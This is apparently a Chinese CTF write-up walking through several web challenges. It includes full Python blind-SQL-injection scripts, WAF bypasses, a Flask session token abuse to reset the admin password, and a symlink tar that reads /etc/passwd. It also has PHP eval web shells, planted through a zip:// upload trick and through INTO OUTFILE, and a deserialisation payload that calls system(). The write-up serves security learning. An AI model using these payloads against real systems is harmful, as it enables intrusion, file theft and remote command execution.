考完网络安全跟算法就赶紧来复现一下题目,又学到了一波知识了23333,这次题目的质量贼好
上一个月的原题,不多说,直接在http头里面找到对应的password登陆以后直接就是关于页面上传的功能,这里的上传是服务器端的问题
直接上传一个非php
结尾的文件即可解析
然后可以直接输入相关命令获取flag不多说
这个题目质量很好,至少我以前都没见过这种盲注,里面利用了between的几个特性,又学到了2333
右键查看源代码就会发现很明显的id
参数,这里的思路就是SQL注入
尝试对其进行注入,发现其明显是存在过滤的,一旦遇到关键字就会返回这么坏?想让我下面给你吃吗?XD
的字样
如果查询不到的话就会返回想让我下面给你吃?
fuzz一下大概发现过滤的东西有空格,*,union,单引号
等等,所以我们就不可以用内联的注入,这里空格我们可以用%0a
去绕过,测试一下
下面就是这次盲注的重点知识利用between and
上面两个执行语句就解释了为什么可以这样做,当select的值在between之间就会返回1,而且前面选择出来的词语会按照顺序匹配,第一个匹配正确的话就会匹配第二个
而且还可以固定好最后一位,然后前面一步步去字母给找出
但是把数据库跑出来以后后面继续加上空格还是会显示1,这在写脚本的时候得注意一下,还有几点得注意下,单引号过滤掉可以使用16进制,另外information_schema.tables
被过滤可以使用information_schema%0a.tables
这样去绕过
#!/usr/bin/python
# Author:0verWatch
import requests
burl = 'http://101.71.29.5:10008/show.php?id=-1'
flag = 0
ans = ''
result = ''
for i in range(40):
if flag == 0:
for j in range(127,32,-1):
if j == 33:
flag = 1
#payload = '%0aor%0a(select%0adatabase()%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #web
#payload = '%0aor%0a(select%0a(select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.tables%0awhere%0atable_schema%0abetween%0a0x776562%0aand%0a0x776562)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #admin,flaggg,menu
#payload = '%0aor%0a(select%0a(select%0agroup_concat(column_name)%0afrom%0ainformation_schema%0a.columns%0awhere%0atable_name%0abetween%0a0x666c61676767%0aand%0a0x666c61676767)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #id,f1agg
payload = '%0aor%0a(select%0a(select%0af1agg%0afrom%0aflaggg)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)'
url = burl+ payload
con = requests.get(url)
# print(con.text)
if u"郑州" in con.text:
ans = ans + chr(j)
print(result)
result = result + hex(j)[2:4]
break
print(ans)
这个题目上来就发现有注册,登录,找回密码的功能,通常我们需要注册看一下
登陆之后发现上传页面,但是根据页面一开始提示说明管理员才可以上传tar
包,这里就容易想到软连接,但是首先我们得以admin
身份登录,这时候根据http可以发现这应该是flask
框架写的web
这里有一个点就是flask
框架的session
可以在浏览器端查看,并且可以读取里面的token
值,
这东西可以利用在找回密码的功能上面
这里面的token值我们可以用来直接修改admin的密码,这东西恰好就是修改密码需要的东西
然后再以admin身份登录,上一个软连接的tar包,先构造一下tar包
ln -s /etc/passwd 2222222.jpg
tar cvfp 233.tar 2222222.jpg
一上来就是个登录页面其实这个登录页面没有用,你随便输如都可以登录到后台上传页面
可以看到url,可能存在文件包含,尝试一下读取文件,可以读到一下index以及upload页面
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=index
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload
index.php
php
if (isset($_GET['page'])) {
if (!stristr($_GET['page'], "..")) {
$page = $_GET['page'].".php";
include($page);
} else {
header("Location: index.php?page=login");
}
} else {
header("Location: index.php?page=login");
这里的代码验证不需要任何检验就可以登录
php $error = "";
$exts = array("jpg", "png", "gif", "jpeg");
if (!empty($_FILES["image"])) {
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if ((@$_upfileS["image"]["size"] < 102400)) {
if (in_array($extension, $exts)) {
$path = "uploads/".md5($temp[0].time()).".".$extension;
move_uploaded_file($_FILES["image"]["tmp_name"], $path);
$error = "????????????!";
} else {
$error = "???????????????";
}
} else {
$error = "??????????????????????????????";
}
} ?>
从文件上传的而这段代码也很容易看,就是文件名加上时间戳然后再MD5拼接成新的文件名,这两个东西我们可以进行预测
自己本地新建一个over.php
里面的内容
phpinfo();
@eval($_POST['_']);
?>
把该文件压缩,然后改后缀名为.jpg的图片文件,接着就该预测路径名字并使用伪协议
这里很坑,有个时区的问题加上8*3600
# -*- coding: UTF-8 -*-
import time
import requests
import hashlib
url = "http://101.71.29.5:10007/"
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
files = {
"image":("over123.jpg",open("over.jpg","rb"))
}
#print open("over.jpg","rb")
t = int(time.time()+8*3600)
requests.post(url=url+"upload.php",files=files)
for i in range(t-100,t+150):
path = "uploads/"+md5("over123"+str(i))+".jpg"
#print 'Waiting'
status = requests.get(url=url+path).status_code
if status ==200:
print path
break
爆出路径
uploads/cf0dd54323ba204f8151905e912964c1.jpg
最后的关键点是利用伪协议进行命令执行,这里同样的也可以使用phar,关键是把%23改为/就好,注意这里不需要对文件加上相关的后缀
http://101.71.29.5:10007/index.php?page=zip://./uploads/cf0dd54323ba204f8151905e912964c1.jpg%23over
得到flag
这一题质量很好哇,考了SQL注入读取文件,反序列化,命令行执行的绕过
先看看注入点,这里注册进去之后在用户信息里面明显看到id参数,这里就可以测试一下,这里通过这次两个题目的注入,可以学到到先要根据数据库返回的信息来做出自己的判断,比如查到会回显什么,查不到又会回显什么,语法错误又会回显什么等等,根据这个东西去做出判断应该作何注入
这里还有一个点也是学到的就是怎么测试他是用替换还是删除来过滤黑名单,我们只需要再注册的地方放输入类似select
之类的关键字就会在用户页面发现被替换成@
。下一个题目也是类似的道理。
这一个题可以有两种构造布尔盲注的思路一种是利用limit
,另一种是用加减号等运算符号,这里同样是很好的学习点
可以来构造SQL读文件的语句了
这里这样构造http://101.71.29.5:10015/user/user.php?id=1-1
根据这里的减1还是减0去判断是否存在我们猜测的文件
首先得了解一下当数据库里面secure_file_priv
的值是空的话,就可以读取任意文件
开始构造语句
http://101.71.29.5:10015/user/user.php?id=1-(load_file('/var/www/html/index.php') like '<%')
但是不能出现引号16进制转一下
http://101.71.29.5:10015/user/user.php?id=1-(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870) like 0x3c25)
又因为读文件的时候会出现换行等问题而不能全读取因此将loadfile的内容16进制转一下
http://101.71.29.5:10015/user/user.php?id=1-(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870)) like 0x3c25)
模仿着写一个脚本,这里有点不明白的是为什么这里的脚本传进去的字符已经是16进制字符为毛还得hex一次?除了那个%
确实需要16进制转一下,但是我试了一下不hex的话不能跑出来,有大佬告诉一下我原因吗23333.
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8
import requests
import binascii
import string
hex_s = lambda s:binascii.hexlify(s)
s = 'ABCDEF' + string.digits
filename = '/var/www/html/index.php'
#filename = '/var/www/html/config/waf.php'
ans = ''
url = 'http://101.71.29.5:10015/user/user.php?id=2-if(hex(load_file(0x%s)) like 0x%s,1,2)'
for i in xrange(10000):
for j in s:
payload = ans + j + '%'
_url = url % (hex_s(filename),hex_s(payload))
#print _url
con = requests.get(_url, cookies={"PHPSESSID":"vn7dm5pk3dqvicrkg43om69hi0"})
if '2018' in con.content:
print '...'+payload
ans = ans + j
break
然后得到index.php的关键代码
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
$config = $_COOKIE['CONFIG'];
require_once('config/config.php');
}
?>
再去读取config.php里面的内容
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
// echo $value;
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
}
还有一个waf.php,对上面的$value值进行了过滤,这里对命令执行的一些常用语句进行了过滤,所以我们需要进行绕过
function waf($str){
$black_str = "/(and|into|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
$str = preg_replace($black_str, "@@",$str);
return addslashes($str);
}
function waf_exec($str){
$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+|\/| )/i";
$str = preg_replace($black_str, "",$str);
return $str;
}
?>
这里的关键是分析config.php
里面的代码,一看里面存在unserialize
这样的东西,就应该考察的是反序列化,但是这里考的点不是魔法函数,因为构造函数里不存在可以利用的点,但是在SetFilter
这个方法里面存在call_user_func
这样的回调函数,这个函数第一个参数你想要执行的函数名,第二个参数是要传进去该函数的参数,这里就可以去执行命令
先构造类
$over = new Config();
$over->filter = array("system");
echo base64_encode(serialize($over));
现在的关键点是对$value
赋值,这个东东通过 SetFilter
这个方法去传参,往上是通过__get
去调用的
这个函数的功能是可以调用类里面的私有变量,也可以使用未定义的变量进行赋值,然后config参数是通过cookie
传参的,把构造好的序列化放进cookie
里面
CONFIG=Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=
尝试ls
命令,出现flag字样的东东,但其实这是个文件夹,可以用ls -l 查看一下
但是因为空格被过滤了,用$IFS绕过,同样地/也被过滤了同样需要绕过,这里用expr substr $(pwd) 1 1
去绕过
注意这里面的空格也得变成$IFS
,但是直接变成expr$IFSsubstr$IFS$(pwd)$IFS1$IFS1
也不行,因为系统辨别出不出,会出现这样的结果
所以得用\
分割一下
得到路径下存在flag.php
string(54) "ls$IFS.`expr$IFS\substr$IFS$(pwd)$IFS\1$IFS\1`flag2333" flag.php
开始尝试读取文件了
http://101.71.29.5:10015/index.php?p=cat$IFS.`expr$IFS\substr$IFS$(pwd)$IFS\1$IFS\1`flag2333`expr$IFS\substr$IFS$(pwd)$IFS\1$IFS\1`flag.php
这一题也是要测试出来可以用loadfile读文件,先把文件读出来,写了个脚本读文件,读的是user.php
的页面源码,前提是得有超过127的用户注册才可以很顺利地读取源码,如果不够可以自己写个脚本跑一下
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8
import requests
import re
url = "http://101.71.29.5:10011/user/user.php?id=ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),{_},1))"
con = ''
for i in xrange(1,100000):
ans=requests.get(url.format(_=str(i)),cookies={'PHPSESSID':'bvbjr3qjrktp6qfn393f6itso0'})
s = re.findall(r"user_id:(.*?)
",ans.content)
con = con+chr(int(s[0]))
print con
读出来一部分关键代码是这样子的
include_once('../bwvs_config/sys_config.php');
if (isset($_SESSION['user_name'])) {
include_once('../header.php');
if (!isset($SESSION['user_id'])) {
$sql = "SELECT * FROM dwvs_user_message WHERE user_name ="."'{$_SESSION['user_name']}'";
$data = mysqli_query($connect,$sql) or die('Mysql Error!!');
$result = mysqli_fetch_array($data);
$_SESSION['user_id'] = $result['user_id'];
}
$html_avatar = htmlspecialchars($_SESSION['user_favicon']);
if(isset($_GET['id'])){
$id=waf($_GET['id']);
$sql = "SELECT * FROM dwvs_user_message WHERE user_id =".$id;
$data = mysqli_multi_query($connect,$sql) or die();
do{
if($result = mysqli_store_result($connect)){
$row = mysqli_fetch_row($result);
echo 'user_id:'
.$row[0]."
user_name:"
.$row[1]."</h2><br><h3>
同样的道理我们可以把bwvs_config/waf.php里面的内容读出来,可以看到过滤的内容
function waf($str){
$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&]|\^)/i";
$str = preg_replace('/@/','@-@',$str);
$str = preg_replace($black_str, "@",$str);
return addslashes($str);
}
?>
题目提示要写shell,就需要找可以写shell的文件路径,但得找到具有写权限的文件夹才可以执行,这里的关键点是利用这段代码mysqli_multi_query的多行执行语句去执行相关的写操作。
这里涉及到一个新的知识点,就是SQL的预编译语句,通过定义变量名的方式,用execute语句去执行相关操作
预制语句的SQL语法基于三个SQL语句:
PREPARE stmt_name FROM preparable_stmt;
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
{DEALLOCATE | DROP} PREPARE stmt_name;
在自己机子上试一下
因此可以来构造一下语句PREPARE over FROM "select * from ….";
但是waf里面很明显就是过滤了select我们需要去绕过一下还有单双引号都被转义,这就需要char()
以及concat()
函数的协助了,也可以正常显示
下面就到使用into outfile
的时候了,但还是得先找到那一个目录可以写文件,这里面我们还有一个上传的功能点没用到,一般上传的话我们需要开启写的权限,你自己写一次上传的代码就会知道,如果没有写权限的话,就会使服务器报错,所以图片保存的地方就应该是可以目录,可以查看图像的目录放在哪
在这一个目录下,这样我们就基本确定shell该放在哪里,这里的话其实还有一个点就是网站目录要怎么显示,可以利用show variables like ‘secure_file_priv%’;去查看对应的信息,如果是空的话说明哪里都可以读或者写目录了,根据user.php里面的代码可以知道执行之后会显示1,2,5列,所以我们可以将这个语句转化一下就可以知道那个目录可以写了,这样比猜靠谱多了。。。。
现在就可以构造一下语句了
"select '' into outfile '/var/www/html/favicon/over.php'"
把双引号里面的东西转一下
SET @b=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 39, 60, 63, 112, 104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62, 39, 32, 105, 110, 116, 111, 32, 111, 117, 116, 102, 105, 108, 101, 32, 39, 47, 118, 97, 114, 47, 119, 119, 119, 47, 104, 116, 109, 108, 47, 102, 97, 118, 105, 99, 111, 110, 47, 111, 118, 101, 114, 46, 112, 104, 112, 39));
PREPARE s from @b;
EXECUTE s;
但是这样还是不行,因为@会被替换成@-@,所以得利用黑名单的替换功能把@变成黑名单里面的东西,经过黑名单替换后就会变成@啦
SET ^b=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 39, 60, 63, 112, 104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62, 39, 32, 105, 110, 116, 111, 32, 111, 117, 116, 102, 105, 108, 101, 32, 39, 47, 118, 97, 114, 47, 119, 119, 119, 47, 104, 116, 109, 108, 47, 102, 97, 118, 105, 99, 111, 110, 47, 111, 118, 101, 114, 46, 112, 104, 112, 39));
PREPARE s from ^b;
EXECUTE s;
然后找到favicon/over.php
直接菜刀连接就可以了
这里就简单小结一下:
1.python flask的session机制问题,可以利用其构造管理员身份登录
2.构造软连接去读取文件内容
3.注入点如何构造逻辑,如何测试通过注册页面探测过滤字符以及过滤方式
4.利用伪协议读取文件,并且如何利用伪协议进行命令执行
5.PHP反序列化里面的__get()方法起到的作用,如何去使用它对可控变量赋值
6.利用SQL注入读写文件的前提,如何查看
7.命令执行以及SQL注入绕过的一些小trick